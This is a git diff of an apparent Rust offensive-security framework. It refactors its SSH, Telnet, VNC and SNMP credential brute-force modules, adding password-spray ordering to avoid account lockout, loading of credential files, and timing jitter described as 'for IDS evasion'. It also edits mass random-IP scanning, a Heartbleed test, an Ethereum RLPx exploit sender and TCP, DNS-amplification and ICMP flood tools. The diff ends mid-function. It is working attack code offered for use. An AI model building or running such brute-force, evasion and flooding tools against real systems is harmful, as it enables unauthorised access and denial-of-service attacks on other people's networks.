source_module: "creds/generic/snmp_bruteforce",
};
@@ -577,6 +579,7 @@ async fn run_subnet_scan(target: &str) -> Result<()> {
verbose,
output_file,
service_name: "snmp",
jitter_ms: 0,
source_module: "creds/generic/snmp_bruteforce",
skip_tcp_check: true, // SNMP is UDP — no TCP pre-check
},
+12 -5
View File
@@ -3,7 +3,7 @@ use colored::*;
use ssh2::Session;
use std::{
io::Write,
net::{IpAddr, TcpStream, ToSocketAddrs},
net::{IpAddr, ToSocketAddrs},
time::Duration,
};
use tokio::{
@@ -19,7 +19,8 @@ use crate::utils::{
};
use crate::modules::creds::utils::{
BruteforceConfig, LoginResult, SubnetScanConfig,
generate_combos, run_bruteforce, run_subnet_bruteforce,
generate_combos_mode, parse_combo_mode, load_credential_file,
run_bruteforce, run_subnet_bruteforce,
is_subnet_target, is_mass_scan_target, run_mass_scan, MassScanConfig,
};
@@ -124,6 +125,7 @@ pub async fn run(target: &str) -> Result<()> {
verbose,
output_file,
service_name: "ssh",
jitter_ms: 0,
source_module: "creds/generic/ssh_bruteforce",
skip_tcp_check: false,
}, move |ip: IpAddr, port: u16, user: String, pass: String| {
@@ -187,7 +189,7 @@ pub async fn run(target: &str) -> Result<()> {
None
};
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
let combo_mode = cfg_prompt_yes_no("combo_mode", "Combination mode? (try every pass with every user)", false).await?;
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
let connect_addr = normalize_target(&format!("{}:{}", target, port)).unwrap_or_else(|_| format!("{}:{}", target, port));
@@ -234,7 +236,11 @@ pub async fn run(target: &str) -> Result<()> {
return Err(anyhow!("No passwords available"));
}
let combos = generate_combos(&usernames, &passwords, combo_mode);
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
combos.extend(load_credential_file(&cred_path)?);
}
let timeout_duration = Duration::from_secs(connection_timeout);
let try_login = move |t: String, p: u16, user: String, pass: String| {
@@ -259,6 +265,7 @@ pub async fn run(target: &str) -> Result<()> {
delay_ms: 0,
max_retries,
service_name: "ssh",
jitter_ms: 0,
source_module: "creds/generic/ssh_bruteforce",
}, combos, try_login).await?;
@@ -338,7 +345,7 @@ async fn try_ssh_login(
.or_else(|_| addr_owned.to_socket_addrs().and_then(|mut a|
a.next().ok_or_else(|| std::io::Error::new(std::io::ErrorKind::NotFound, "No addresses resolved"))))
.map_err(|e| anyhow!("Cannot resolve address {}: {}", addr_owned, e))?;
let tcp = TcpStream::connect_timeout(&socket_addr, timeout_duration)
let tcp = crate::utils::blocking_tcp_connect(&socket_addr, timeout_duration)
.map_err(|e| anyhow!("Connection error: {}", e))?;
let mut sess = Session::new()
+2 -2
View File
@@ -118,7 +118,7 @@ impl Statistics {
errors.to_string().red(),
rate
);
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { eprintln!("[!] Flush error: {}", e); }
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { crate::meprintln!("[!] Flush error: {}", e); }
}
fn print_summary(&self) {
@@ -305,7 +305,7 @@ pub async fn password_spray(
password: password.clone(),
};
crate::mprintln!("\r{}", format!("[PWNED] {}:{} @ {}:{}", user, password, host, port).red().bold());
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { eprintln!("[!] Flush error: {}", e); }
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { crate::meprintln!("[!] Flush error: {}", e); }
results.lock().await.push(cred);
// Persist credential to framework credential store
{
+1 -1
View File
@@ -253,7 +253,7 @@ fn enumerate_users_blocking(
usernames.len(),
user
);
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { eprintln!("[!] Flush error: {}", e); }
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { crate::meprintln!("[!] Flush error: {}", e); }
match sample_auth_timing(host, port, user, samples, timeout_secs) {
Some(t) => {
+14 -13
View File
@@ -14,7 +14,8 @@ use tokio::{
};
use crate::modules::creds::utils::{
generate_combos, is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
generate_combos_mode, parse_combo_mode, load_credential_file,
is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
};
use crate::utils::{
@@ -302,6 +303,7 @@ pub async fn run(target: &str) -> Result<()> {
verbose,
output_file,
service_name: "telnet",
jitter_ms: 0,
source_module: "creds/generic/telnet_bruteforce",
skip_tcp_check: false,
},
@@ -394,12 +396,7 @@ pub async fn run(target: &str) -> Result<()> {
};
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
let combo_mode = cfg_prompt_yes_no(
"combo_mode",
"Combination mode? (try every pass with every user)",
false,
)
.await?;
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
// Resolve target once (not in hot path)
let resolved_target = normalize_target(target).unwrap_or_else(|_| target.to_string());
@@ -526,6 +523,7 @@ pub async fn run(target: &str) -> Result<()> {
delay_ms: 0,
max_retries,
service_name: "telnet",
jitter_ms: 0,
source_module: "creds/generic/telnet_bruteforce",
};
@@ -540,7 +538,11 @@ pub async fn run(target: &str) -> Result<()> {
// First: run default passwords if enabled (already in `passwords` vec)
if !passwords.is_empty() {
let combos = generate_combos(&usernames, &passwords, combo_mode);
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
combos.extend(load_credential_file(&cred_path)?);
}
let result = run_bruteforce(
&bf_config,
combos,
@@ -582,7 +584,7 @@ pub async fn run(target: &str) -> Result<()> {
)
.cyan()
);
let combos = generate_combos(&usernames, &chunk, combo_mode);
let combos = generate_combos_mode(&usernames, &chunk, parse_combo_mode(&combo_input));
let result = run_bruteforce(
&bf_config,
combos,
@@ -617,7 +619,7 @@ pub async fn run(target: &str) -> Result<()> {
)
.cyan()
);
let combos = generate_combos(&usernames, &chunk, combo_mode);
let combos = generate_combos_mode(&usernames, &chunk, parse_combo_mode(&combo_input));
let result = run_bruteforce(
&bf_config,
combos,
@@ -635,7 +637,7 @@ pub async fn run(target: &str) -> Result<()> {
}
} else {
// Normal mode: everything fits in memory
let combos = generate_combos(&usernames, &passwords, combo_mode);
let combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
let result = run_bruteforce(
&bf_config,
combos,
@@ -739,9 +741,8 @@ fn parse_ports(input: &str) -> Vec<u16> {
/// - `Err(_)` — connection/protocol error
async fn try_telnet_login(addr: &str, user: &str, pass: &str, cfg: &TelnetConfig) -> Result<bool> {
// 1. TCP connect
let mut stream = timeout(cfg.connect_timeout, TcpStream::connect(addr))
let mut stream = crate::utils::network::tcp_connect(addr, cfg.connect_timeout)
.await
.map_err(|_| anyhow!("{}: connection timeout", addr))?
.map_err(|e| anyhow!("{}: {}", addr, e))?;
// Disable Nagle — telnet sends small packets, latency matters more than throughput
+2 -9
View File
@@ -2,7 +2,6 @@ use anyhow::Result;
use std::net::SocketAddr;
use std::time::{Duration, Instant};
use tokio::io::{AsyncReadExt, AsyncWriteExt, BufReader};
use tokio::net::TcpStream;
use tokio::time::timeout;
use crate::modules::creds::utils::{run_mass_scan, MassScanConfig};
@@ -258,14 +257,8 @@ async fn do_telnet_session(
) -> Result<(bool, bool)> {
// returns (success, banner_detected)
let stream_res = timeout(
Duration::from_millis(CONNECT_TIMEOUT_MS),
TcpStream::connect(socket),
)
.await;
let stream = match stream_res {
Ok(Ok(s)) => s,
let stream = match crate::utils::network::tcp_connect_addr(*socket, Duration::from_millis(CONNECT_TIMEOUT_MS)).await {
Ok(s) => s,
_ => return Ok((false, false)), // Connect fail
};
+8 -12
View File
@@ -20,10 +20,10 @@ use std::io::Write;
use std::net::IpAddr;
use std::time::Duration;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use crate::modules::creds::utils::{
generate_combos, is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
generate_combos_mode, ComboMode,
is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
};
use crate::utils::{
@@ -179,6 +179,7 @@ pub async fn run(target: &str) -> Result<()> {
verbose,
output_file,
service_name: "vnc",
jitter_ms: 0,
source_module: "creds/generic/vnc_bruteforce",
skip_tcp_check: false,
},
@@ -279,7 +280,7 @@ pub async fn run(target: &str) -> Result<()> {
// VNC is password-only: use a single dummy username for the combos framework
let usernames = vec!["vnc".to_string()];
let combos = generate_combos(&usernames, &passwords, false);
let combos = generate_combos_mode(&usernames, &passwords, ComboMode::Linear);
crate::mprintln!(
"\n{}",
@@ -324,6 +325,7 @@ pub async fn run(target: &str) -> Result<()> {
delay_ms: 100, // VNC servers often rate-limit; small delay helps
max_retries,
service_name: "vnc",
jitter_ms: 0,
source_module: "creds/generic/vnc_bruteforce",
},
combos,
@@ -517,15 +519,9 @@ fn parse_rfb_version(version_str: &[u8]) -> Result<(u16, u16)> {
/// Attempt VNC authentication against a target address.
async fn try_vnc_auth(addr: &str, password: &str) -> VncResult {
// TCP connect with timeout
let mut stream = match tokio::time::timeout(
Duration::from_millis(CONNECT_TIMEOUT_MS),
TcpStream::connect(addr),
)
.await
{
Ok(Ok(s)) => s,
Ok(Err(e)) => return VncResult::ConnectionError(format!("Connect failed: {}", e)),
Err(_) => return VncResult::ConnectionError("Connection timeout".to_string()),
let mut stream = match crate::utils::network::tcp_connect(addr, Duration::from_millis(CONNECT_TIMEOUT_MS)).await {
Ok(s) => s,
Err(e) => return VncResult::ConnectionError(format!("Connect failed: {}", e)),
};
// Step 1: Read server version string (12 bytes)
+111 -59
View File
@@ -171,7 +171,7 @@ impl BruteforceStats {
rate
);
}
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { eprintln!("[!] Flush error: {}", e); }
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { crate::meprintln!("[!] Flush error: {}", e); }
}
pub async fn print_final(&self) {
@@ -295,44 +295,39 @@ pub fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr
/// In-memory dedup set for mass scan IP tracking.
/// Avoids the TOCTOU race of file-based is_ip_checked + mark_ip_checked.
static CHECKED_IPS: once_cell::sync::Lazy<tokio::sync::Mutex<std::collections::HashSet<String>>> =
once_cell::sync::Lazy::new(|| tokio::sync::Mutex::new(std::collections::HashSet::new()));
static CHECKED_IPS: std::sync::LazyLock<tokio::sync::Mutex<std::collections::HashSet<String>>> =
std::sync::LazyLock::new(|| tokio::sync::Mutex::new(std::collections::HashSet::new()));
/// Atomically check AND mark an IP — returns true if already checked (skip it).
/// Uses in-memory HashSet for race-free dedup, with file append for persistence.
pub async fn is_ip_checked(ip: &impl ToString, state_file: &str) -> bool {
let ip_str = ip.to_string();
let mut set = CHECKED_IPS.lock().await;
if set.contains(&ip_str) {
return true;
}
// Check file on first access (cold start after restart)
if set.is_empty() {
if let Ok(contents) = tokio::fs::read_to_string(state_file).await {
for line in contents.lines() {
if let Some(checked_ip) = line.strip_prefix("checked: ") {
set.insert(checked_ip.to_string());
}
}
if set.contains(&ip_str) {
return true;
}
}
}
false
}
/// Mark an IP as checked (in memory + persisted to file).
pub async fn mark_ip_checked(ip: &impl ToString, state_file: &str) {
/// Atomically check AND mark an IP in a single lock acquisition.
/// Returns `true` if the IP was already checked (caller should skip it).
/// On first call, loads persisted state from file (cold start recovery).
/// Persists the new entry to file for restart durability.
pub async fn check_and_mark_ip(ip: &impl ToString, state_file: &str) -> bool {
if state_file.contains("..") {
crate::meprintln!("[!] Invalid state file path: {}", state_file);
return;
return false;
}
let ip_str = ip.to_string();
{
let mut set = CHECKED_IPS.lock().await;
set.insert(ip_str.clone());
// Cold start: load persisted state from file on first access
if set.is_empty() {
if let Ok(contents) = tokio::fs::read_to_string(state_file).await {
for line in contents.lines() {
if let Some(checked_ip) = line.strip_prefix("checked: ") {
set.insert(checked_ip.to_string());
}
}
}
}
if !set.insert(ip_str.clone()) {
// Already present — skip this IP
return true;
}
}
// Persist outside the lock to minimize hold time
let data = format!("checked: {}\n", ip_str);
if let Ok(mut file) = OpenOptions::new()
.create(true)
@@ -342,8 +337,10 @@ pub async fn mark_ip_checked(ip: &impl ToString, state_file: &str) {
{
if let Err(e) = file.write_all(data.as_bytes()).await { crate::meprintln!("[!] Write error: {}", e); }
}
false
}
pub fn parse_exclusions(min_ranges: &[&str]) -> Vec<ipnetwork::IpNetwork> {
let mut exclusion_subnets = Vec::new();
for cidr in min_ranges {
@@ -530,8 +527,7 @@ where
tokio::spawn(async move {
let ip = generate_random_public_ip(&exc);
if !is_ip_checked(&ip, state_file).await {
mark_ip_checked(&ip, state_file).await;
if !check_and_mark_ip(&ip, state_file).await {
if let Some(line) = probe(ip, port).await {
sf.fetch_add(1, Ordering::Relaxed);
if let Err(e) = tx.send(line).await {
@@ -564,8 +560,7 @@ where
let probe = probe.clone();
tokio::spawn(async move {
if !is_ip_checked(&ip_addr, state_file).await {
mark_ip_checked(&ip_addr, state_file).await;
if !check_and_mark_ip(&ip_addr, state_file).await {
if let Some(line) = probe(ip_addr, port).await {
sf.fetch_add(1, Ordering::Relaxed);
if let Err(e) = tx.send(line).await {
@@ -615,8 +610,7 @@ where
tokio::spawn(async move {
if let Ok(ip) = ip_str.parse::<IpAddr>() {
if !is_ip_checked(&ip, state_file).await {
mark_ip_checked(&ip, state_file).await;
if !check_and_mark_ip(&ip, state_file).await {
if let Some(line) = probe(ip, port).await {
sf.fetch_add(1, Ordering::Relaxed);
if let Err(e) = tx.send(line).await {
@@ -666,6 +660,17 @@ pub enum LoginResult {
Error { message: String, retryable: bool },
}
/// Credential combination strategy.
#[derive(Clone, Copy, Debug)]
pub enum ComboMode {
/// Pair user\[i\] with pass\[i\], cycling the shorter list.
Linear,
/// Full cross product: every user × every password.
Combo,
/// Password spray: for each password, try all users (avoids account lockout).
Spray,
}
/// Common configuration for the bruteforce engine.
#[derive(Clone)]
pub struct BruteforceConfig {
@@ -675,6 +680,8 @@ pub struct BruteforceConfig {
pub stop_on_success: bool,
pub verbose: bool,
pub delay_ms: u64,
/// Random jitter added to delay_ms (0..jitter_ms) for IDS evasion.
pub jitter_ms: u64,
pub max_retries: usize,
pub service_name: &'static str,
pub source_module: &'static str,
@@ -731,33 +738,69 @@ impl BruteforceResult {
}
}
/// Generate credential pairs from username and password lists.
/// In combo mode, produces the full cross product (user × pass).
/// In linear mode, pairs user\[i\] with pass\[i\], cycling the shorter list.
pub fn generate_combos(
/// Generate credential pairs with full combo mode control.
/// - Linear: pairs user\[i\] with pass\[i\], cycling the shorter list.
/// - Combo: full cross product (user × pass).
/// - Spray: for each password, try all users (lockout-safe ordering).
pub fn generate_combos_mode(
usernames: &[String],
passwords: &[String],
combo_mode: bool,
mode: ComboMode,
) -> Vec<(String, String)> {
if usernames.is_empty() || passwords.is_empty() {
return Vec::new();
}
let mut combos = Vec::new();
if combo_mode {
for u in usernames {
match mode {
ComboMode::Combo => {
let mut combos = Vec::with_capacity(usernames.len() * passwords.len());
for u in usernames {
for p in passwords {
combos.push((u.clone(), p.clone()));
}
}
combos
}
ComboMode::Spray => {
let mut combos = Vec::with_capacity(usernames.len() * passwords.len());
for p in passwords {
for u in usernames {
combos.push((u.clone(), p.clone()));
}
}
combos
}
ComboMode::Linear => {
let max_len = std::cmp::max(usernames.len(), passwords.len());
let mut combos = Vec::with_capacity(max_len);
for i in 0..max_len {
let u = &usernames[i % usernames.len()];
let p = &passwords[i % passwords.len()];
combos.push((u.clone(), p.clone()));
}
}
} else {
let max_len = std::cmp::max(usernames.len(), passwords.len());
for i in 0..max_len {
let u = &usernames[i % usernames.len()];
let p = &passwords[i % passwords.len()];
combos.push((u.clone(), p.clone()));
combos
}
}
combos
}
/// Load user:pass credential pairs from a file (one pair per line, colon-separated).
pub fn load_credential_file(path: &str) -> Result<Vec<(String, String)>> {
let lines = crate::utils::load_lines(path)?;
let mut combos = Vec::new();
for line in lines {
if let Some((user, pass)) = line.split_once(':') {
combos.push((user.to_string(), pass.to_string()));
}
}
Ok(combos)
}
/// Parse combo mode from user input string.
pub fn parse_combo_mode(input: &str) -> ComboMode {
match input.trim().to_lowercase().as_str() {
"combo" | "cross" => ComboMode::Combo,
"spray" | "password_spray" => ComboMode::Spray,
_ => ComboMode::Linear,
}
}
/// Run the generic bruteforce engine against a single target.
@@ -830,6 +873,7 @@ where
let stop_on_success = config.stop_on_success;
let max_retries = config.max_retries;
let delay_ms = config.delay_ms;
let jitter_ms = config.jitter_ms;
tasks.push(tokio::spawn(async move {
if stop_on_success && stop_c.load(Ordering::Relaxed) { return; }
@@ -897,8 +941,11 @@ where
}
}
if delay_ms > 0 {
tokio::time::sleep(Duration::from_millis(delay_ms)).await;
if delay_ms > 0 || jitter_ms > 0 {
let jitter = if jitter_ms > 0 {
rand::rng().random_range(0..=jitter_ms)
} else { 0 };
tokio::time::sleep(Duration::from_millis(delay_ms + jitter)).await;
}
}));
@@ -937,6 +984,8 @@ pub struct SubnetScanConfig {
pub verbose: bool,
pub output_file: String,
pub service_name: &'static str,
/// Random jitter added to delay between attempts (0..jitter_ms).
pub jitter_ms: u64,
pub source_module: &'static str,
/// Skip the TCP port pre-check before attempting credentials.
/// Set to `true` for UDP-based protocols (SNMP, L2TP) where a TCP
@@ -1043,15 +1092,13 @@ where
let try_login = try_login.clone();
let verbose = config.verbose;
let skip_tcp = config.skip_tcp_check;
let jitter_ms = config.jitter_ms;
tokio::spawn(async move {
// Quick TCP port check (skipped for UDP protocols)
if !skip_tcp {
let sa = SocketAddr::new(ip, port);
if tokio::time::timeout(
Duration::from_millis(3000),
tokio::net::TcpStream::connect(&sa),
)
if crate::utils::network::tcp_connect_addr(sa, Duration::from_millis(3000))
.await
.is_err()
{
@@ -1106,6 +1153,11 @@ where
}
}
}
// Apply jitter between attempts if configured
if jitter_ms > 0 {
let jitter = rand::rng().random_range(0..=jitter_ms);
tokio::time::sleep(Duration::from_millis(jitter)).await;
}
}
}
sc.fetch_add(1, Ordering::Relaxed);
@@ -38,7 +38,6 @@ use std::sync::Arc;
use std::sync::atomic::{AtomicBool, AtomicUsize, Ordering};
use std::time::Duration;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use tokio::sync::{Semaphore, mpsc};
use tokio::time::timeout;
@@ -287,13 +286,8 @@ async fn check_p2p_port(target: &str, port: u16) -> Result<bool> {
}
};
let connect_result = timeout(
Duration::from_secs(CONNECT_TIMEOUT_SECS),
TcpStream::connect(socket_addr)
).await;
match connect_result {
Ok(Ok(_stream)) => Ok(true),
match crate::utils::network::tcp_connect_addr(socket_addr, Duration::from_secs(CONNECT_TIMEOUT_SECS)).await {
Ok(_stream) => Ok(true),
_ => Ok(false),
}
}
@@ -349,17 +343,11 @@ fn generate_malformed_rlpx_auth() -> Vec<u8> {
async fn send_exploit(target: &str, port: u16, exploit_type: ExploitType) -> Result<bool> {
let addr = format!("{}:{}", target, port);
let stream = match timeout(
Duration::from_secs(CONNECT_TIMEOUT_SECS),
TcpStream::connect(&addr)
).await {
Ok(Ok(s)) => s,
Ok(Err(e)) => {
let stream = match crate::utils::network::tcp_connect(&addr, Duration::from_secs(CONNECT_TIMEOUT_SECS)).await {
Ok(s) => s,
Err(e) => {
return Err(anyhow::anyhow!("Connection failed: {}", e));
}
Err(_) => {
return Err(anyhow::anyhow!("Connection timeout"));
}
};
let (mut reader, mut writer) = stream.into_split();
+3 -6
View File
@@ -5,7 +5,6 @@ use std::net::ToSocketAddrs;
use std::path::Path;
use std::time::{SystemTime, UNIX_EPOCH};
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use tokio::time::{timeout, Duration, sleep};
use regex::Regex;
use std::sync::Arc;
@@ -283,11 +282,9 @@ async fn perform_heartbleed_test(addr: &str, payload_size: u16) -> Result<Option
.next()
.context("Could not resolve target address")?;
let stream_result = timeout(Duration::from_secs(5), TcpStream::connect(socket_addr)).await;
let mut stream = match stream_result {
Ok(Ok(s)) => s,
Ok(Err(e)) => bail!("Connection failed: {}", e),
Err(_) => bail!("Connection timed out"),
let mut stream = match crate::utils::network::tcp_connect_addr(socket_addr, Duration::from_secs(5)).await {
Ok(s) => s,
Err(e) => bail!("Connection failed: {}", e),
};
stream.write_all(&build_client_hello()).await
@@ -13,7 +13,6 @@ use std::net::SocketAddr;
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
use std::sync::Arc;
use std::time::Duration;
use tokio::net::TcpStream;
use tokio::sync::Semaphore;
use tokio::time::Instant;
@@ -315,7 +314,7 @@ async fn execute_flood(config: &FloodConfig) -> Result<()> {
.dimmed()
);
use std::io::Write;
if let Err(e) = std::io::stdout().flush() { eprintln!("[!] Stdout flush error: {}", e); }
if let Err(e) = std::io::stdout().flush() { crate::meprintln!("[!] Stdout flush error: {}", e); }
}
});
@@ -346,8 +345,8 @@ async fn execute_flood(config: &FloodConfig) -> Result<()> {
};
// Attempt connection
match tokio::time::timeout(timeout, TcpStream::connect(target)).await {
Ok(Ok(stream)) => {
match crate::utils::network::tcp_connect_addr(target, timeout).await {
Ok(stream) => {
// Successfully connected
conn_stat.fetch_add(1, Ordering::Relaxed);
@@ -370,8 +369,8 @@ async fn execute_flood(config: &FloodConfig) -> Result<()> {
drop(stream);
}
}
Ok(Err(e)) => {
// Connection error (refused, unreachable, etc.)
Err(e) => {
// Connection error (refused, unreachable, timeout, etc.)
fail_stat.fetch_add(1, Ordering::Relaxed);
if verbose {
rng_counter = rng_counter.wrapping_add(1);
@@ -381,10 +380,6 @@ async fn execute_flood(config: &FloodConfig) -> Result<()> {
}
}
}
Err(_) => {
// Timeout
fail_stat.fetch_add(1, Ordering::Relaxed);
}
}
// Drop permit to release the semaphore slot
+5 -73
View File
@@ -12,8 +12,9 @@ use std::net::{IpAddr, Ipv4Addr, SocketAddr};
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
use std::sync::Arc;
use std::thread;
use std::time::{Duration, Instant, SystemTime};
use std::time::{Duration, Instant};
use crate::native::dos_utils::FastRng;
use crate::utils::{
normalize_target, cfg_prompt_default, cfg_prompt_required, cfg_prompt_yes_no,
};
@@ -63,47 +64,6 @@ struct DnsAmpConfig {
verbose: bool,
}
// ============================================================================
// FAST RNG (XorShift128+)
// ============================================================================
struct FastRng {
s0: u64,
s1: u64,
}
impl FastRng {
fn with_thread_seed(thread_id: usize) -> Self {
let time_seed = SystemTime::now()
.duration_since(SystemTime::UNIX_EPOCH)
.map(|d| d.as_nanos() as u64)
.unwrap_or(0);
let s0 = time_seed ^ (thread_id as u64).wrapping_mul(0x9E3779B97F4A7C15);
let s1 = time_seed.rotate_left(17) ^ (thread_id as u64).wrapping_mul(0xBF58476D1CE4E5B9);
let mut rng = Self { s0, s1 };
for _ in 0..16 { rng.next_u64(); }
rng
}
#[inline(always)]
fn next_u64(&mut self) -> u64 {
let mut x = self.s0;
let y = self.s1;
self.s0 = y;
x ^= x << 23;
self.s1 = x ^ y ^ (x >> 17) ^ (y >> 26);
self.s1.wrapping_add(y)
}
#[inline(always)]
fn next_u16(&mut self) -> u16 { self.next_u64() as u16 }
#[inline(always)]
fn gen_ephemeral_port(&mut self) -> u16 {
(self.next_u16() % 16384) + 49152
}
}
// ============================================================================
// DNS QUERY BUILDER
// ============================================================================
@@ -246,7 +206,7 @@ impl PacketBuilder {
// IP checksum
buf[10] = 0;
buf[11] = 0;
let ip_cksum = Self::checksum_16(&buf[..IPV4_HEADER_LEN]);
let ip_cksum = crate::native::dos_utils::checksum_16(&buf[..IPV4_HEADER_LEN]);
buf[10] = (ip_cksum >> 8) as u8;
buf[11] = ip_cksum as u8;
@@ -266,7 +226,7 @@ impl PacketBuilder {
sum += u16::from_be_bytes([dst_bytes[0], dst_bytes[1]]) as u32;
sum += u16::from_be_bytes([dst_bytes[2], dst_bytes[3]]) as u32;
let udp_data = &buf[IPV4_HEADER_LEN..len];
sum = Self::sum_16(udp_data, sum);
sum = crate::native::dos_utils::sum_16(udp_data, sum);
while (sum >> 16) != 0 {
sum = (sum & 0xFFFF) + (sum >> 16);
}
@@ -278,34 +238,6 @@ impl PacketBuilder {
len
}
#[inline(always)]
fn checksum_16(data: &[u8]) -> u16 {
let mut sum = Self::sum_16(data, 0);
while (sum >> 16) != 0 {
sum = (sum & 0xFFFF) + (sum >> 16);
}
!(sum as u16)
}
#[inline(always)]
fn sum_16(data: &[u8], init: u32) -> u32 {
let mut sum = init;
let mut i = 0;
let len = data.len();
while i + 3 < len {
sum += u16::from_be_bytes([data[i], data[i + 1]]) as u32;
sum += u16::from_be_bytes([data[i + 2], data[i + 3]]) as u32;
i += 4;
}
if i + 1 < len {
sum += u16::from_be_bytes([data[i], data[i + 1]]) as u32;
i += 2;
}
if i < len {
sum += u16::from_be_bytes([data[i], 0]) as u32;
}
sum
}
}
// ============================================================================
@@ -624,7 +556,7 @@ async fn execute_attack(config: DnsAmpConfig) -> Result<()> {
"[*] Queries: {:>10} | Sent: {:>8.2} MB | Est. Amplified: {:>10.2} MB | Resolvers: {} | Rate: {:>8.0} pkt/s ",
pkts, bytes as f64 / (1024.0 * 1024.0), est_amplified_mb, resolver_count, rate
).dimmed());
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { eprintln!("[!] Flush error: {}", e); }
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { crate::meprintln!("[!] Flush error: {}", e); }
}
});
+1 -1
View File
@@ -346,7 +346,7 @@ async fn execute_attack(config: HttpFloodConfig) -> Result<()> {
"[*] Sent: {:>10} | Recv: {:>10} | Err: {:>8} | Rate: {:>8.0} req/s | Last sec: {} ",
sent, recv, err, rate, delta
).dimmed());
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { eprintln!("[!] Flush error: {}", e); }
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { crate::meprintln!("[!] Flush error: {}", e); }
}
});
+21 -107
View File
@@ -12,8 +12,9 @@ use std::net::{IpAddr, Ipv4Addr, SocketAddr};
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
use std::sync::Arc;
use std::thread;
use std::time::{Duration, Instant, SystemTime};
use std::time::{Duration, Instant};
use crate::native::dos_utils::FastRng;
use crate::utils::{
normalize_target, cfg_prompt_default, cfg_prompt_required, cfg_prompt_yes_no,
};
@@ -49,108 +50,24 @@ struct IcmpFloodConfig {
verbose: bool,
}
// ============================================================================
// FAST RNG (XorShift128+)
// ============================================================================
struct FastRng {
s0: u64,
s1: u64,
}
impl FastRng {
fn with_thread_seed(thread_id: usize) -> Self {
let time_seed = SystemTime::now()
.duration_since(SystemTime::UNIX_EPOCH)
.map(|d| d.as_nanos() as u64)
.unwrap_or(0);
let s0 = time_seed ^ (thread_id as u64).wrapping_mul(0x9E3779B97F4A7C15);
let s1 = time_seed.rotate_left(17) ^ (thread_id as u64).wrapping_mul(0xBF58476D1CE4E5B9);
let mut rng = Self { s0, s1 };
for _ in 0..16 { rng.next_u64(); }
rng
}
#[inline(always)]
fn next_u64(&mut self) -> u64 {
let mut x = self.s0;
let y = self.s1;
self.s0 = y;
x ^= x << 23;
self.s1 = x ^ y ^ (x >> 17) ^ (y >> 26);
self.s1.wrapping_add(y)
}
#[inline(always)]
fn next_u16(&mut self) -> u16 { self.next_u64() as u16 }
/// Fill a buffer with pseudo-random bytes.
#[inline]
fn fill_bytes(&mut self, buf: &mut [u8]) {
let mut i = 0;
while i + 8 <= buf.len() {
let val = self.next_u64().to_le_bytes();
buf[i..i + 8].copy_from_slice(&val);
i += 8;
}
if i < buf.len() {
let val = self.next_u64().to_le_bytes();
let remaining = buf.len() - i;
buf[i..].copy_from_slice(&val[..remaining]);
}
}
}
fn gen_ipv4_public(rng: &mut FastRng) -> Ipv4Addr {
loop {
let raw = rng.next_u64() as u32;
let octets = raw.to_be_bytes();
match octets[0] {
0 | 10 | 127 => continue,
224..=255 => continue,
172 if (16..=31).contains(&octets[1]) => continue,
192 if octets[1] == 168 => continue,
169 if octets[1] == 254 => continue,
100 if (64..=127).contains(&octets[1]) => continue,
_ => return Ipv4Addr::new(octets[0], octets[1], octets[2], octets[3]),
}
}
}
// ============================================================================
// INTERNET CHECKSUM (RFC 1071)
// ============================================================================
/// Compute the Internet checksum over a byte slice.
#[inline(always)]
fn checksum_16(data: &[u8]) -> u16 {
let mut sum = sum_16(data, 0);
while (sum >> 16) != 0 {
sum = (sum & 0xFFFF) + (sum >> 16);
}
!(sum as u16)
}
#[inline(always)]
fn sum_16(data: &[u8], init: u32) -> u32 {
let mut sum = init;
/// Fill a buffer with pseudo-random bytes from the given RNG.
#[inline]
fn fill_bytes(rng: &mut FastRng, buf: &mut [u8]) {
let mut i = 0;
let len = data.len();
while i + 3 < len {
sum += u16::from_be_bytes([data[i], data[i + 1]]) as u32;
sum += u16::from_be_bytes([data[i + 2], data[i + 3]]) as u32;
i += 4;
while i + 8 <= buf.len() {
let val = rng.next_u64().to_le_bytes();
buf[i..i + 8].copy_from_slice(&val);
i += 8;
}
if i + 1 < len {
sum += u16::from_be_bytes([data[i], data[i + 1]]) as u32;
i += 2;
if i < buf.len() {
let val = rng.next_u64().to_le_bytes();
let remaining = buf.len() - i;
buf[i..].copy_from_slice(&val[..remaining]);
}
if i < len {
